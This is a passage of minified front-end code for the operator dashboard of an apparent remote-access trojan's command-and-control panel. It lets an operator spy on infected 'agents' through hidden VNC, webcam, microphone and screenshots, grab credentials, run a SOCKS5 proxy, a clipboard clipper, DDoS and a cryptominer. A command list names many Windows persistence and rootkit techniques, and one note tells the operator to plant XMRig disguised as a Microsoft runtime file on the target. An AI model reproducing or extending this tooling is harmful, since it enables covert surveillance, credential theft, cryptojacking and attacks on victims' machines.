text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",s.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:z=>u(Number(z.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),s.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[s.jsx("span",{children:"10%"}),s.jsx("span",{children:"25%"}),s.jsx("span",{children:"50%"}),s.jsx("span",{children:"75%"}),s.jsx("span",{children:"100%"})]})]})]})]}),s.jsx("div",{className:"flex gap-3",children:b?s.jsxs("button",{onClick:k,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):s.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),s.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:s.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",s.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function xa({label:e,value:t,valueClass:n}){return s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[s.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const C2=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],XU={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},bp=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function ZU(){const{id:e}=qo(),t=dr(),[n,r]=xx(),[i,a]=p.useState(null),[o,l]=p.useState([]),[c,u]=p.useState([]),[d,f]=p.useState(!0),[m,h]=p.useState(""),[x,g]=p.useState(""),[y,v]=p.useState(!1),[b,w]=p.useState(!1),[j,k]=p.useState(()=>{const L=n.get("tab");return L&&bp.includes(L)?L:"overview"}),[S,N]=p.useState(()=>{const L=n.get("tab"),de=new Set(["overview"]);return L&&bp.includes(L)&&de.add(L),de}),[z,_]=p.useState(null),[A,O]=p.useState(!0),[P,I]=p.useState(!1),[U,D]=p.useState(null),[M,F]=p.useState(new Set),[R,W]=p.useState(()=>n.get("auto")==="1"),[$,H]=p.useState(null),[X,se]=p.useState(-1),[ue,ge]=p.useState(!1),xe=p.useRef(null);p.useEffect(()=>{N(L=>{if(L.has(j))return L;const de=new Set(L);return de.add(j),de})},[j]),p.useEffect(()=>{N(new Set(["overview"]))},[e]),p.useEffect(()=>{const L=n.get("tab");L&&bp.includes(L)&&L!==j&&k(L)},[n]);const Y=L=>{k(L),L==="overview"?n.delete("tab"):n.set("tab",L),r(n,{replace:!0})},ee=p.useCallback(async()=>{if(e)try{const L=await TE(e);a(L),h("");try{const de=await Un(e);l(de.tasks??[]),u(de.results??[])}catch{l([]),u([])}}catch(L){a(null);const de=L instanceof Error&&"status"in L?L.status:"network";h(L instanceof Error?`${L.message} (${de})`:String(L))}finally{f(!1)}},[e]);p.useEffect(()=>{ee();const L=setInterval(ee,5e3);return()=>clearInterval(L)},[ee]),p.useEffect(()=>{if(!e)return;let L=!0;const de=async()=>{try{const te=await GE(e);L&&H(te)}catch{L&&H(null)}};de();const q=setInterval(de,3e3);return()=>{L=!1,clearInterval(q)}},[e]),p.useEffect(()=>{if(!z)return;const L=de=>{de.key==="Escape"&&_(null)};return window.addEventListener("keydown",L),()=>window.removeEventListener("keydown",L)},[z]);const C=p.useMemo(()=>[...o].sort((L,de)=>new Date(L.created_at).getTime()-new Date(de.created_at).getTime()),[o]),K=5e3,ne=p.useMemo(()=>{var de;const L=[];for(const q of C){const te=(de=q.args)!=null&&de.length?" "+q.args.join(" "):"";L.push({type:"command",content:`${q.command}${te}`,timestamp:q.created_at});const me=c.find(V=>V.task_id===q.id);me?(me.error&&L.push({type:"error",content:me.error,timestamp:me.completed_at}),me.output&&L.push({type:"output",content:me.output,timestamp:me.completed_at})):q.status==="queued"||q.status==="sent"?L.push({type:"system",content:`[${q.status==="queued"?"Queued":"Sent"} - awaiting result...]`}):q.status==="timeout"&&L.push({type:"error",content:"[Task timed out]"})}if(L.length>K){const q=L.slice(L.length-K);return q.unshift({type:"system",content:`[Output truncated: showing last ${K.toLocaleString()} of ${L.length.toLocaleString()} lines]`}),q}return L},[C,c]),B=p.useMemo(()=>{const L=[];for(const de of C){if(de.command!=="screenshot")continue;const q=c.find(te=>te.task_id===de.id);if(q!=null&&q.data){const te=YA(q.data)?qA(q.data):`data:image/png;base64,${q.data}`;L.push({taskId:de.id,timestamp:q.completed_at,dataUrl:te})}}return L},[C,c]),ie=x?C2.filter(L=>L.startsWith(x.split(" ")[0])&&L!==x.split(" ")[0]):C2;async function ve(L){var me;if(L.preventDefault(),!e||!x.trim())return;const de=x.trim().split(/\s+/),q=de[0],te=de.slice(1);v(!0),w(!1);try{await Ee(e,{command:q,args:te}),g(""),D(null),setTimeout(ee,500)}catch(V){D(`[SEND FAILED] ${V instanceof Error?V.message:"Unknown error"}`)}finally{v(!1),(me=xe.current)==null||me.focus()}}function we(L){var de;g(L+" "),w(!1),(de=xe.current)==null||de.focus()}if(d)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"flex flex-col items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agent data..."})]})});if(!i)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Agent Not Found"}),m&&s.jsx("p",{className:"text-zerin-text-muted text-sm mb-2",children:m}),s.jsxs("p",{className:"text-zerin-text-muted text-xs font-mono mb-6",children:["ID: ",e]}),s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-2 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-4 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const _e=i.hostname||"unknown";return s.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim hover:text-zerin-accent transition-colors px-2 py-1 hover:bg-zerin-accent-muted`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),s.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:_e}),s.jsx(sd,{status:i.status,size:"md",showLabel:!0}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:Hs(i.id)}),i.elevated&&s.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&s.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[s.jsxs("button",{onClick:async()=>{try{await gx(i.id);const L=rt(),de=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(de&&L){const q=te=>{var me;((me=te.data)==null?void 0:me.type)==="zerin_auth_request"&&te.origin===window.location.origin&&(de.postMessage({type:"zerin_auth",token:L},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),s.jsxs("button",{onClick:async()=>{try{await uj(i.id);const L=rt(),de=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(de&&L){const q=te=>{var me;((me=te.data)==null?void 0:me.type)==="zerin_auth_request"&&te.origin===window.location.origin&&(de.postMessage({type:"zerin_auth",token:L},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),s.jsxs("div",{className:"relative",children:[s.jsxs("button",{onClick:()=>ge(L=>!L),className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",s.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),ue&&s.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[s.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),s.jsxs("select",{value:X,onChange:L=>se(Number(L.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[s.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map(L=>s.jsxs("option",{value:L,children:["Camera ",L]},L))]}),s.jsx("button",{onClick:async()=>{ge(!1);try{await dj(i.id,X);const L=rt(),de=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(de&&L){const q=te=>{var me;((me=te.data)==null?void 0:me.type)==="zerin_auth_request"&&te.origin===window.location.origin&&(de.postMessage({type:"zerin_auth",token:L},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),s.jsxs("button",{onClick:async()=>{try{await fj(i.id);const L=rt(),de=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(de&&L){const q=te=>{var me;((me=te.data)==null?void 0:me.type)==="zerin_auth_request"&&te.origin===window.location.origin&&(de.postMessage({type:"zerin_auth",token:L},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),s.jsxs("button",{onClick:async()=>{try{await Ee(i.id,{command:"screenshot"}),Y("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),s.jsxs("button",{onClick:()=>I(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),s.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[s.jsx(vn,{label:"Overview",active:j==="overview",onClick:()=>Y("overview")}),s.jsx(vn,{label:"Screenshots",active:j==="screenshots",onClick:()=>Y("screenshots"),badge:B.length>0?B.length:void 0}),s.jsx(vn,{label:"Files",active:j==="files",onClick:()=>Y("files")}),s.jsx(vn,{label:"Processes",active:j==="processes",onClick:()=>Y("processes")}),s.jsx(vn,{label:"Windows",active:j==="windows",onClick:()=>Y("windows")}),s.jsx(vn,{label:"Apps",active:j==="apps",onClick:()=>Y("apps")}),s.jsx(vn,{label:"System",active:j==="system",onClick:()=>Y("system")}),s.jsx(vn,{label:"Troll",active:j==="troll",onClick:()=>Y("troll")}),s.jsx(vn,{label:"Credentials",active:j==="credentials",onClick:()=>Y("credentials")}),s.jsx(vn,{label:"Clipper",active:j==="clipper",onClick:()=>Y("clipper")}),s.jsx(vn,{label:"DDoS",active:j==="ddos",onClick:()=>Y("ddos")}),s.jsx(vn,{label:"Miner",active:j==="miner",onClick:()=>Y("miner")})]}),s.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[s.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:s.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[s.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[s.jsxs(wp,{title:"System",children:[s.jsx(Qt,{label:"Hostname",value:i.hostname}),s.jsx(Qt,{label:"Username",value:i.username}),s.jsx(Qt,{label:"OS",value:So(i.os)}),s.jsx(Qt,{label:"Architecture",value:i.arch}),s.jsx(Qt,{label:"PID",value:String(i.pid),mono:!0}),s.jsx(Qt,{label:"Integrity",value:i.integrity}),s.jsx(Qt,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),s.jsxs(wp,{title:"Network",children:[s.jsx(Qt,{label:"Internal IP",value:i.internal_ip,mono:!0}),s.jsx(Qt,{label:"External IP",value:i.external_ip,mono:!0})]}),s.jsxs(wp,{title:"Timing",children:[s.jsx(Qt,{label:"Sleep / Jitter",value:gj(i.sleep_interval,i.jitter),mono:!0}),s.jsx(Qt,{label:"First Seen",value:No(i.first_seen)}),s.jsx(Qt,{label:"Last Seen",value:Vc(i.last_seen)}),s.jsx(Qt,{label:"Agent ID",value:Hs(i.id),mono:!0})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),s.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${$!=null&&$.active?"bg-emerald-400":"bg-zinc-600"}`})]}),s.jsx("div",{className:"px-4 py-3",children:$!=null&&$.active?s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),s.jsx("span",{className:"font-mono text-zerin-text",children:$.port?`127.0.0.1:${$.port}`:"-"})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),s.jsx("span",{className:"font-mono text-zerin-text",children:$.channels})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),s.jsxs("span",{className:"font-mono text-zerin-text",children:[km($.bytes_in)," in / ",km($.bytes_out)," out"]})]}),s.jsx("button",{onClick:async()=>{try{await YE(i.id),H({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium text-zerin-danger bg-zerin-danger-dim hover:bg-zerin-danger/20 transition-colors",children:"Stop Proxy"})]}):s.jsxs("div",{className:"space-y-2",children:[s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"No active SOCKS5 session"}),i.status!=="dead"&&s.jsx("button",{onClick:async()=>{try{const L=await pj(i.id);H({active:!0,port:L.port,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full px-3 py-1.5 text-xs font-medium text-zerin-accent bg-zerin-accent-muted hover:bg-zerin-accent/20 transition-colors",children:"Start Proxy"})]})})]})]}),s.jsx("div",{className:"col-span-12 lg:col-span-7 xl:col-span-8",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"Task History"})}),s.jsx("div",{className:"overflow-x-auto",children:C.length===0?s.jsx("div",{className:"px-4 py-12 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No tasks have been submitted yet."})}):s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Command"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Status"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Created At"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...C].reverse().map(L=>{var q;const de=(q=L.args)!=null&&q.length?" "+L.args.join(" "):"";return s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-2.5 font-mono text-zerin-text text-xs whitespace-nowrap",children:[L.command,de]}),s.jsx("td",{className:"px-4 py-2.5",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-medium ${XU[L.status]??"bg-zerin-panel-hover text-zerin-text-muted"}`,children:L.status})}),s.jsx("td",{className:"px-4 py-2.5 text-zerin-text-dim text-xs whitespace-nowrap",children:No(L.created_at)})]},L.id)})})]})})]})})]})}),S.has("files")&&s.jsx("div",{style:{display:j==="files"?void 0:"none"},children:s.jsx(TU,{agentId:i.id,agentStatus:i.status})}),S.has("processes")&&s.jsx("div",{style:{display:j==="processes"?void 0:"none"},children:s.jsx(MU,{agentId:i.id,agentStatus:i.status})}),S.has("windows")&&s.jsx("div",{style:{display:j==="windows"?void 0:"none"},children:s.jsx(LU,{agentId:i.id,agentStatus:i.status})}),S.has("apps")&&s.jsx("div",{style:{display:j==="apps"?void 0:"none"},children:s.jsx(IU,{agentId:i.id,agentStatus:i.status})}),S.has("system")&&s.jsx("div",{style:{display:j==="system"?void 0:"none"},children:s.jsx(DU,{agentId:i.id,agentStatus:i.status})}),S.has("troll")&&s.jsx("div",{style:{display:j==="troll"?void 0:"none"},children:s.jsx($U,{agentId:i.id})}),S.has("credentials")&&s.jsx("div",{style:{display:j==="credentials"?void 0:"none"},children:s.jsx(HU,{agentId:i.id,agentStatus:i.status,autoGrab:R,onAutoGrabConsumed:()=>{W(!1),n.delete("auto"),r(n,{replace:!0})}})}),S.has("clipper")&&s.jsx("div",{style:{display:j==="clipper"?void 0:"none"},children:s.jsx(YU,{agentId:i.id,agentStatus:i.status})}),S.has("ddos")&&s.jsx("div",{style:{display:j==="ddos"?void 0:"none"},children:s.jsx(VS,{agentIds:[i.id],agentStatus:i.status})}),S.has("miner")&&s.jsx("div",{style:{display:j==="miner"?void 0:"none"},children:s.jsx(GU,{agentId:i.id,agentStatus:i.status})}),S.has("screenshots")&&s.jsx("div",{style:{display:j==="screenshots"?void 0:"none"},children:s.jsx("div",{className:"p-6 animate-fade-in",children:B.length===0?s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909M3.75 21h16.5A2.25 2.25 0 0022.5 18.75V5.25A2.25 2.25 0 0020.25 3H3.75A2.25 2.25 0 001.5 5.25v13.5A2.25 2.25 0 003.75 21z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"No Screenshots"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Run the ",s.jsx("span",{className:"font-mono text-zerin-accent",children:"screenshot"})," command to capture the agent display."]})]})}):s.jsx("div",{className:"grid grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 gap-4",children:B.map(L=>s.jsxs("button",{onClick:()=>_(L.dataUrl),className:`group bg-zerin-panel border border-zerin-panel-border hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[s.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:M.has(L.dataUrl)?s.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):s.jsx("img",{src:L.dataUrl,alt:`Screenshot ${Hs(L.taskId)}`,className:`w-full h-full object-cover opacity-90 group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>F(de=>new Set(de).add(L.dataUrl))})}),s.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:Hs(L.taskId)}),s.jsx("span",{className:"text-xs text-zerin-text-muted",children:Vc(L.timestamp)})]})})]},L.taskId))})})})]}),s.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("button",{onClick:()=>O(L=>!L),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${A?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),s.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&s.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),A&&s.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:s.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[s.jsx(OU,{lines:ne,className:"flex-1 border-0"}),s.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&ie.length>0&&s.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0 bg-zerin-panel border border-zerin-panel-border z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:s.jsxs("div",{className:"p-2",children:[s.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),s.jsx("div",{className:"flex flex-wrap gap-1",children:ie.map(L=>s.jsx("button",{onClick:()=>we(L),className:`px-2.5 py-1 text-xs font-mono bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:text-zerin-accent hover:border-zerin-accent/40 hover:bg-zerin-accent-muted 